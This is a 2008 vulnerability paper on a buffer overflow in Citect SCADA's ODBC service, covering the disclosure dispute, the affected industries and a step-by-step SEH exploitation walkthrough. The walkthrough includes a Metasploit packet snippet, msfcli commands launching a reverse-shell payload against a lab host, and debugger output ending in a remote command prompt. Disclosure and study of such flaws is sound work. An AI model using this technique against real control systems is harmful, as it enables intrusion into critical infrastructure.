exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

citectodbc-fivews.txt

citectodbc-fivews.txt
Posted Sep 6, 2008
Authored by Kevin Finisterre | Site digitalmunition.com

This is a paper detailing the Five Ws of the Citect ODBC vulnerability that affects Citect versions 5, 6, and 7.

tags | paper
advisories | CVE-2008-2639
SHA-256 | 964dabad19a7f4cc68531d84e4b801807359a6d0cc916ab14e3874c422b8c097

citectodbc-fivews.txt

Change Mirror Download
The Five Ws of Citect ODBC Vulnerability CVE-2008-2639
by Kevin Finisterre (kf_lists[at]digitalmunition[dot]com)
September 6th 2008

Who?

Citect:
Citect has a long history as a global leader in the development and application of SCADA, HMI and MES solutions. The ability to develop powerful and
reliable 'industrial strength' software, capable of withstanding the rigors of large-scale operations, has been one of the companies strengths. Established
in 1973, Citect has grown to become a leading, global provider of industrial automation, real-time intelligence, and next generation manufacturing execution
systems (MES). Citect products are complemented by professional services and customer support and training and sold in numerous industries including:

Aerospace & Defense
Automotive
Building Automation
Cement & Glass
Chemical
Electronics
Food & Beverage
Machinery & Manufacturing
Metals
Mining & Minerals
Oil & Gas
Pharmaceutical
Power / Utilities & Generation
Pulp & Paper
Transportation
Water & Wastewater

Headquartered in Sydney Australia, Citect has over 20 offices and representation in Oceania, Southeast Asia, China, Japan, North and South America, Europe,
Africa and the Middle East. Citect products are distributed in more than 80 countries worldwide, through a network of more than 500 partners.

Core:
Core Security Technologies is the leader in comprehensive security testing software solutions that IT executives rely on to expose vulnerabilities,
measure operational risk, and assure security effectiveness. The companyâ CORE IMPACT product family offers a comprehensive approach to assessing the
security of network systems, endpoint systems, email users and web applications against complex threats. All CORE IMPACT security testing solutions are
backed by trusted vulnerability research and leading-edge threat expertise from the companyâ Security Consulting Services, CoreLabs and Engineering groups.
Core Security Technologies is Based in Boston, MA and Buenos Aires, Argentina


Kevin Finisterre from the Netragard sponsored DigitalMunition:
Kevin is the former Head Of Research and Co-founder of SNOSoft, Inc. aka Secure Network Operations. Kevin's primary focus has been on the
dissemination of information relating to the identification and exploitation of software vulnerabilities on various platforms. Apple, IBM, SAP, Oracle,
Symantec, and HP are among many vendors that have had problems that were identified by Kevin. Kevin is currently very active in the SCADA security scene.
He enjoys testing the limits and is constantly dedicated to thinking outside the box. His current brainchild is the project he calls DigitalMunition.com

What?
On January 30th 2008 an initial contact mail was sent by Core to Citect's support team in an effort to discuss and disclose a security vulnerability
that affected the Citect product line. Approximately 5 months later on June 11th the security advisory CORE-2008-0125 is published. This advisory outlines
an issue in the Citect ODBC service that was described as follows: "A vulnerability was found in CitectSCADA that could allow a remote un-authenticated
attacker to force an abnormal termination of the vulnerable software (Denial of Service) or to execute arbitrary code on vulnerable systems to gain complete
control of the software. To accomplish such goal the would-be attacker must be able to connect to the vulnerable service on a TCP high-port."

Core provided the following additional data. "The CitectSCADA and CitectFacilities applications include ODBC server capabilities to provide remote SQL access
to a relational database. The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application
layer protocol used over TCP reads an initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that
length with a 5-byte fixed header is then read from the same TCP socket. Once this second packet is read from the network into a buffer, the data it is then
copied to an internal buffer of fixed size allocated in the stack."

Citect made two statements publically about the bug first in the Core advisory: "CitectSCADA is not designed to be accessible on public networks and recommends
that the SCADA and control networks be protected by firewall or similar on live sites. The system must be network hardened regardless of the corrupt packet
software change to ensure a secure system given the likelihood that on the same network are open industry standard protocol devices perhaps communicating via
ethernet. Please follow this link on Citect website under 'Industries and Solutions' for security, that provides some information for customers interested in
securing their SCADA systems: http://www.citect.com/index.php?option=com_content&task=view&id=186&Itemid=322"

The second public comment was on their own website: "Citect has moved to reassure its SCADA customers they are extremely unlikely to be at risk from potential
security breaches found by Core Security Technologies in Windows-based control systems utilizing ODBC technology, so long as their systems are protected by
industry-standard security guidelines. Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when
they are connected to the internet for some time. However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its
system to the internet with no security in place â a situation unlikely in today's business environment. Citect's Global CEO, Christopher Crowe, says, 'The
security of our customers control systems is of paramount importance to us. Though we have not had any reports of breaches, we are contacting our customers
globally to confirm they have followed recommended network security measures. We have also developed a patch for those companies that might not be able to
implement necessary network security measures promptly."

The two sources of information available to the public are seemingly conflicting... Core on one hand has implied that this vulnerability is quite critical in
nature. Citect on the other hand is almost downplaying the issue all together. Actual users of the product must be confused to say the least. "Should I take
action? Should I be prompt about it? Is there even a reason to take action?". These questions MUST be running through the users of Citect, given the industries
Citect serves I should rephrase and perhaps say I hope these thoughts are in the minds of the users. In reality I would be willing to wager a small fortune that
most of the folks that received the Citect advisory were not inspired to take immediate action. In general no one should be more knowledgeable about a software
product than the vendor, so if the vendor pulls an Alfred E. Newman and says "What, me worry?" you can rest assured the userbase will do the same.

This paradoxical situation is exactly why you are reading this paper, I decided to clear the air and do a little research on my own. As a semi neutral 3rd party
not relying upon any of the previously made statements I could deduce my own conclusions. Those conclusions are contained within...

So what exactly is the big deal? Why is Citect software any different from any other software package with security issues? Primarily because of the
industry they serve. Citect software helps run quite a bit of critical infrastructure, power plants, factories, automation lines, and other high profile
industrial related processes.

Where?
On the Citect web page there are case studies for the following industries, Building & Facilities, Cement & Glass, Food & Beverage, Machinery & Manufacturing,
Mining & Minerals, Oil & Gas, Pharmaceutical, Waste & Wastewater. Installations range from a simple standalone Carwash heating control to an elaborate gas pipe line
system with 180 Display nodes monitoring 68,000 some odd 'tags' and 'points'. Below is a list of Citect case studies with a brief description to help familiarize you
with the wide range of industries that make use of Citect software. These names were pulled from the Citect case studies documentation that is readily available from
the Citect website:

Nelson Mandela Municipality
Large metropolitan municipality uses CitectSCADA to monitor and control sewage facilities

Brunswick County, North Carolina
A rapidly growing county ensures smooth growth using CitectSCADA

City of Shreveport, Louisiana
Louisiana city continues its tradition of leading-edge water treatment facilities by standardising on CitectSCADA

EPAL - Lisbon Water Supply
CitectSCADA's reliability significantly reduces EPAL's life-cycle costs

AstraZeneca
Batch solution facilitates compliance with FDA regulations at AstraZeneca's Plankstadt site.

Chilean Natural Gas Pipeline
Electrogas and Metrogas both choose CitectSCADA for reliable monitoring and control of their pipelines.

Slovnaft Refinery
CitectSCADA provides scalable, reliable solution to drastically reduce operationg costs at major Central European Refinery and Petrochemical company.

Debswana Diamond Mines
Citect's reliable, scalable software solutions lower life-cycle costs, increase throughput and deliver real-time information to Debswana Diamond Mines

Hanson Aggregate
Hanson digs CitectSCADA at its Wykeham Quarry

Argyle Diamond Mine
Argyle Diamond Mines produces around 32% of the world's diamond output from its fully automated, open cut Argyle mine in Western Australia's Kimberley region.

Anglo Coal
CitectSCADA delivers lower operations and maintenance costs, increased mobility of personnel and access to real-time information to Moranbah

Downtime at Olympic Dam (WMC)- Ampla - Winner of Microsoft Partner Awards
Fast ROI as Ampla Downtime enables 20% increase in capacity in rail haulage system. This project won the 2005 Microsoft Australia & NZ Partner Awards for 'Business
Productivity Solution of the Year' and 'Overall Solution of the Year'.

Impala
Ampla has allowed Implats to analyze and optimize key areas for improvement leading to: increased throughput and overall equipment efficiency; consistent quality
and reduced loss to waste streams. Information is streamlined from the plant floor to management providing a comprehensive performance management tool which has
contributed towards realizing its increased production goals

Olympic Dam Expansion
The world's largest windows-based SCADA system. The Olympic Dam site, owned by WMC Limited (Western Mining Corporation), an Australian producer and exporter of
processed minerals and metals, includes 440,000 variable tags with an average response time of 0.014 seconds. AB and Simatic PLCs interfaced to PMACS, PDL and SQL
Servers.

QAL
QAL is the 3rd largest alumina refinery in the world. Using Ampla to support the Six Sigma operational improvement methodology, significant improvements have been
made to the Raw Materials handling area - an operation with a throughput of more than 11 million metric tons per year!

Amcor Beverage Cans
Access to real-time information allows Amcor to optimize production

Ahold Coffee Company
Ahold Coffee Company implemented Ampla to improve overall equipment effectiveness (OEE) on all production lines, and as a result have seen significant results in OEE.
With a goal to decrease the amount of and duration of line stoppages without making operational or equipment changes, ACC decided an MES system was the best solution.
They also needed a solution that would easily integrate with its ERP system.

Arnott's Biscuits
Online batching system streamlines process operations at Australia's largest biscuit manufacturer - click on the image below for the full story.

Adelaide Brighton Cement
50% reduction in plant stoppages and a decrease in cost per tonne of production

Einstein III
CitectFacilities combined with BACnet and EIB provide energy and maintenance cost savings, and optimize building automation efficiency at the Einstein III office
building in Haidhausen, Munich.

London Borough
CitectFacilities has revolutionized the way a London council maintains its buildings, often alerting the council to faults before residents report the problem.

Nuremberg Exhibition Center
With CitectFacilities the Nuremberg Exhibition Center has integrated and optimized facilities systems from multiple vendors, protected existing facilities investments
and reduced building automation costs.

Roppongi Hills Mori Tower
Japan's largest redevelopment project improves tenant service, reduces operation costs and optimizes energy utilization as a result of using CitectFacilities. This is
the world's largest OPC project and includes over 300 OPC servers, 500,000 tags, and 750 graphics pages, with response times of less than 1second.

In addition to the legit customer base sites like the "ali-almukhtar" blogspot location make Citect software readily available to a number of other individuals around
the world. The illegitimate software base of Citect customers is something that perhaps can not be measured. I think the title of the "ali-almukhtar" blogspot site
speaks volumes with regard to the seemingly blatant trafficking of industrial automation related software. "Free Electrical Engineering Ebooks And Softwares - Ramadan
Kareem" trumpets out amongst various arabic Naskh style writings.

When?
This issue is happening NOW... the media has slowed down on its initial wave of both a mix of good reporting, paranoia, FUD, misquoting, misrepresentations and
has all but forgotten about the issues it raised several months ago, but this is an active problem STILL. Citect related news has shifted to things like:
"Citect receives the Asia Pacific HMI and SCADA Company of the Year"
"Schneider-Citect named as HMI leaders"
"Citect Africa 2008 user conference"
"Four megatrends in SchneiderÕs automation strategy"
"Schneider to supply worldÕs largest water recycling project"
"Schneider Electric's Initi@tive 2008 - 'Make the most of your energy'"

Lets not be so quick to forget these headlines however:

"Citect Doesn't Get 'IT' When It Comes To Application Security"
"Citect Reassures Its Customers on the Security of Their SCADA Networks"
"Top Layer TopResponse Research Team Delivers Protection against Critical CitectSCADA Buffer Overflow Vulnerability"
"Security Vulnerability Exposes Utilities to Internet Attack"
"Core Security Technologies Discovers Critical Vulnerability in SCADA Software from Citect"
"SCADA security bug exposes world's critical infrastructure"

This issue is both micro and macrocosmic with regard to SCADA security issues in general. Although people are dealing with patching this issue right now as I type, in
reality the vulnerability has existed and could have been silently exploited for over 6 years. I can confirm that Citect v5.41 was released in 2002, unfortunately I do not
have any other dates tied to earlier Citect versions. This bug could have impacted the Citect product line from day one of ODBC implementation. I am unable to trace back
to the exact implementation date due to a lack of information about older Citect versions. I have a strong suspicion that version v4 and perhaps even v3 Citect products
were also vulnerable in their day. We could be talking about a bug that has lasted the span of a decade or more, but who really knows?

So what is the real impact of the disclosure? Unfortunately we may never be able to calculate that value... we have no way of knowing for example if Russian or Chinese
military have previously weaponized exploits for this particular issue. If they theoretically DID have them, how long have they had them? How about other hackers? Perhaps
one of the fellows on in cracking community noticed the overflows when he was making a patch to allow Citect to run illegally? Who knows? We would certainly be foolish to
think that simply because Core has disclosed this issue suddenly armies of hackers are empowered to exploit this particular vulnerability. The empowerment has been there
from the initial day the bug was introduced into the codebase. Bugs are both found and exploited in silence by both malicious hackers and nation states, deny it all you
choose, however the behavior will continue to occur.

Regardless of these questions the Macrocosm is now. Regardless of the questions the Microcosm is also now. Realistically since more bugs will be found in SCADA related
software packages the future years will really shape how these 'cosms pan out.

Why?

Poor programming choices are ultimately the cause of this particular issue and subsequently many other issues as well. Poor QA is what allows these sort of issues
to slip into mainstream public products. Oddly enough I have some reservations about the development team from Citect primarily due to a white paper that I found from
their QA department. I will share and comment on a few excerpts from this document:

"Citect Group Quality Assurance Management System is based on ISO9001 and is thorough and comprehensive, assuring our customers of the highest standard in the preparation,
support and maintenance of Citect software.

The Citect Group Quality Assurance
Management System consists of:
¥ Quality Management Plan
¥ Software Tools
¥ Standards
¥ Work Practices and Checklists Configuration Management"

Up front this sounds like a pretty solid process. Of course there is more...

"Automated testing is conducted by using Microsoft Visual Test, which automates repetitive tasks, monitors system resources and provides synchronisation of tests across
networks."

Ok I am impressed now, seriously.

"Development is managed by work practices that determine phases and check points in the development process. These development phases are tracked in a master document
under the control of the project manager."

Hrmm... interesting, does security ever come into play as a phase or check point?

"C/C++ Coding standards are used to ensure that all code is documented and is uniform in format, style and error handling. Code review work practices ensure that no code
passes a checkpoint without review. The purpose of the code reviews is to remove errors and dangerous coding practices and also assist in educating developers in improving
coding techniques."

Ok this is where you lost me. How in the heck did we get to the point where we are today with the CitectSCADA product line containing various security issues IF this process
is in place and actually occurring? Here in lies the problem, many vendors push a particular image similar to the Oracle "Unbreakable" campaign when in reality lifting up the
skirt reveals a mess that no one wants to talk about. This exact posturing is why we are seeing disturbingly simple vulnerabilities in software today. Vendors are investing
more time on Marketing and damage control than they are on actually securing their codebases.

How?
This paper is really about the One H rather than the Five Ws associated with the CitectSCADA vulnerability. In the end the only thing that matters is the raw technical
detail. You can draw your own conclusions and inferences if you are properly informed. Below you will find a detailed report of my findings from a months worth of CitectSCADA
research.

As Core described it this bug is indeed "This bug is a textbook example of a classic stack-based buffer overflow". Rather than exploiting it "by overwriting the return address
of the currently running thread" I chose to go about things in a fairly standard fashion. If you are familiar with general exploitation of products that run on Windows based
operating systems overwriting the Structured Exception Handler should be in your general vocabulary.

If you have made it this far and don't quite understand:

.text:0051BC33 loc_51BC33:
.text:0051BC33 lea ecx, [ebp+pDestBuffer]
.text:0051BC39 push ecx ; stack based buffer
.text:0051BC3A mov edx, [ebp+arg_0]
.text:0051BC3D push edx ; class that contains packet
.text:0051BC3E call sub_52125A ; memcpy

it may be perhaps time to close up your email client and move on to blogging about what just happened. If you are still with me SEH exploitation is a fairly vanilla process
and in this particular case things performed as expected. General exploitation of SEH is a bit beyond the scope of this paper however I will be further describing how it
applies to this particular vulnerability.

Core very accurately described the vulnerability in their advisory with the following text:

"The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application layer protocol used over TCP reads an
initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that length with a 5-byte fixed header is then read from
the same TCP socket."

Simply loading up a packet sniffer and making a TCP connection will give you the format of the packets that you need to send. We can easily sum up the required packets in a
few lines of ruby, this is a snippet from the final metasploit module that was created for release.

# Open your eyes people... listen carefully to the rhetoric. There is no spoon.
wakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack("N") + mal

len = [wakeup.length].pack("N")
sock.put(len)
sock.put(wakeup)
print_status("Sent malicious ODBC packet...")

Depending on the version of Citect the malicious string that triggers the issue is no more than 400 bytes of data. The crash itself can be triggered with fewer bytes but
in order to make it a properly malicious trigger something valuable needs to be overwritten. In most cases for Citect the SEH which is highly critical can be reached in
less than 400 bytes as I just mentioned. The current metasploit module has support for a number of versions on various platforms. I am going to walk through the SEH
exploitation on a Windows 2003 server machine as an example to help you understand how things operate.

$ msfcli exploit/windows/misc/citect_scada_odbc T

Id Name
-- ----
0 CiExceptionMailer.dll on XP Sp2 or SP3 5.42
1 CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0
2 CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0
3 CiExceptionMailer.dll on XP Sp2 or SP3 6.10
4 CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0
5 CiExceptionMailer.dll on 2003 Server SP1 7.0-r0
6 CiExceptionMailer.dll on Win98 5.50-r0
7 CiExceptionMailer.dll on XP SP2 5.50-r0
8 CiExceptionMailer.dll on 2003 Server 5.50-r0
9 Test Crash

I have selected a target and payload and began a test run of the final module against a Windows 2003 Server machine running CitectSCADA 7.0.

$ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2 TARGET=5 E
[*] Started reverse handler
[*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0...
[*] Space: 376
[*] Using Windows 2003 Target
[*] Sent malicious ODBC packet...
...

The view from inside a debugger gives loads of insight as to how exploitable this issue actually is. After sending the inital packet an exception is triggered due
to a bad memory read:

EAX 0613EA7A

ECX 00000013

EDX 00000001

EBX 00000000

ESP 07CBFBF8

EBP 07CBFC00

ESI 0613EA2D

EDI 07CC0000

EIP 7814507A MSVCR80.7814507A


7814507A F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>



ECX=00000013 (decimal 19.)

DS:[ESI]=[0613EA2D]=90909090

ES:[EDI]=[07CC0000]=???


In this case the initial exception is caused because we have overwritten some chunk of data that was used in some operation from Client.dll

07CBFBF8 061C1920

07CBFBFC 07CBFC38

07CBFC00 /07CBFC24

07CBFC04 |1010C14B RETURN to Client.1010C14B from <JMP.&MSVCR80.memcpy>

07CBFC08 |07CBFE64

07CBFC0C |0613E891

07CBFC10 |000001E9

07CBFC14 |E9010000

07CBFC18 |07CBFC2C

07CBFC1C |061C1920

07CBFC20 |7813ED0F RETURN to MSVCR80.fprintf

07CBFC24 ]07CBFC3C

07CBFC28 |1010C74A RETURN to Client.1010C74A from Client.1010C122

07CBFC2C |000001E9

07CBFC30 |07CBFE64

07CBFC34 |07CBFC38

07CBFC38 |000001E9

07CBFC3C \07CBFF8C

07CBFC40 10109E7D RETURN to Client.10109E7D from Client.1010C737

07CBFC44 061C1920

07CBFC48 07CBFE64

07CBFC4C 7813E447 MSVCR80.__p__iob

07CBFC50 7813ED0F RETURN to MSVCR80.fprintf

If we take a peek at the SEH at this point we would see that it is overwritten with an attacker supplied value.

SEH chain of thread 00000888

Address SE handler

07CBFFDC CiExcept.003D59D7



As is standard the attacker supplied address points to a "POP POP RET". The full view of the Stack at the time of the SEH overwrite
shown below. We can clearly see attacker controlled data both before and after the SEH value.

07CBFFD0 90909090

07CBFFD4 90909090

07CBFFD8 90909090

07CBFFDC 909006EB Pointer to next SEH record

07CBFFE0 003D59D7 SE handler

07CBFFE4 FFFE7BE9

07CBFFE8 909090FF

07CBFFEC 90909090

07CBFFF0 90909090

07CBFFF4 90909090

07CBFFF8 90909090

07CBFFFC 90909090



The "POP POP RET" is again as expected.

003D59D7 5F POP EDI

003D59D8 5E POP ESI

003D59D9 C3 RETN



Passing the exception on will activate our handler and we can then see the real magic behind this vulnerability. The "POP POP RET" will cause
the program to "land" on the following bytes of assembly which again are standard as part of SEH based exploitation. These bytes in essence
jump over the attacker supplied SEH value and into what is considered usable shellcode space.

089CFFDC EB 06 JMP SHORT 089CFFE4

089CFFDE 90 NOP

089CFFDF 90 NOP



As we mentioned the usable shellcode space varies from version to version but in all cases it is very small. We must make use of the space before
the SEH value if we ever hope to get reliable code execution. Technically we are already "executing code" at this point but not in the traditional
sense of a remote system compromise. This is more low level simply assembly toying. Using a 5 byte near jump sufficiently places us at the beginning
of our payload buffer.



089CFFE4 ^E9 7BFEFFFF JMP 089CFE64

089CFFE9 90 NOP

089CFFEA 90 NOP

089CFFEB 90 NOP

089CFFEC 90 NOP

089CFFED 90 NOP

089CFFEE 90 NOP

089CFFEF 90 NOP

089CFFF0 90 NOP

089CFFF1 90 NOP

089CFFF2 90 NOP

089CFFF3 90 NOP

089CFFF4 90 NOP

089CFFF5 90 NOP

089CFFF6 90 NOP

089CFFF7 90 NOP

089CFFF8 90 NOP

089CFFF9 90 NOP

089CFFFA 90 NOP

089CFFFB 90 NOP

089CFFFC 90 NOP

089CFFFD 90 NOP

089CFFFE 90 NOP

089CFFFF 90 NOP


In this case I have pasted a few bytes from the beginning of the Metasploit encoded payload.

089CFE64 F5 CMC

089CFE65 B6 4F MOV DH,4F

089CFE67 24 B1 AND AL,0B1

089CFE69 4A DEC EDX

089CFE6A B8 B2403D49 MOV EAX,493D40B2

089CFE6F 32FC XOR BH,AH

089CFE71 93 XCHG EAX,EBX

089CFE72 25 969F2C14 AND EAX,142C9F96

089CFE77 7E 7F JLE SHORT 089CFEF8

089CFE79 22FD AND BH,CH

089CFE7B BF 9847463C MOV EDI,3C464798



If we let this monstrosity run unfettered and unchained from the debugger we see the following result.

$ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2 TARGET=5 E
[*] Started reverse handler
[*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0...
[*] Space: 376
[*] Using Windows 2003 Target
[*] Sent malicious ODBC packet...
[*] Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when they are connected to the internet for some time.
[*] However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the internet with no security in place -
[*] a situation unlikely in todayÕs business environment.
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (10.211.55.2:4444 -> 10.211.55.8:1030)

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Citect\CitectSCADA 7\Bin>


In essence an attacker is given access to a command prompt with the privileges of the currently running Citect process. This method and technique is similar across
all versions of Windows, individual techniques had to be modified slightly to fit each target platform but successful exploitation occurred on Windows 2003 Server,
Windows XP and Windows 98 SE. In theory anything that you can install Citect on can technically be exploited.

I have attached a fully functional proof of concept code to this report in an effort to help folks truly understand the impact of this vulnerability. I personally
can not afford Core Impact and I am sure many of the folks that use this software will never be exposed to Core Impact, as such I have decided to create a public
metasploit module for this issue. The hopes are that current Citect users or people that are responsible for auditing Citect users will now have a usable tool to help
aid in the education and subsequent mitigation of this vulnerability. More importantly I hope this can serve as an example for future communications about similar such
vulnerabilities.

In my personal expertise I feel as if the statement "Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the
internet with no security in place" is completely absurd. If I were a Citect customer I would actually feel both insulted and confused by the statement. Previous
penetration testing exercises have shown that A) products are very frequently used in ways that manufactures do not intend. B) That many networks maintain a Hard
shell with a Soft chewy inside. Many companies hide behind the concept of a firewall as if it were the end all be all security solution. Currently attacking and exploiting
client side vulnerabilities is at an all time high. The old school style of directly aiming and gunning for a server has gone by the wayside. Latching on to an end user
or client machine can often be just as valuable in the over all scheme of distributed metastasis.

You would be absolutely foolish to believe that the only method or vector of exploitation for this and or any other SCADA related vulnerability was "Teh Internets". Look
at the diagrams in the Citect case studies... read the documentation from vendors that actually implement these products. Wake up... open your eyes. Don't be a sheep.

If you outlaw SCADA exploits, only outlaws will have SCADA exploits. Spread information and inform both yourself and others.
-Kevin Finisterre 2008

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close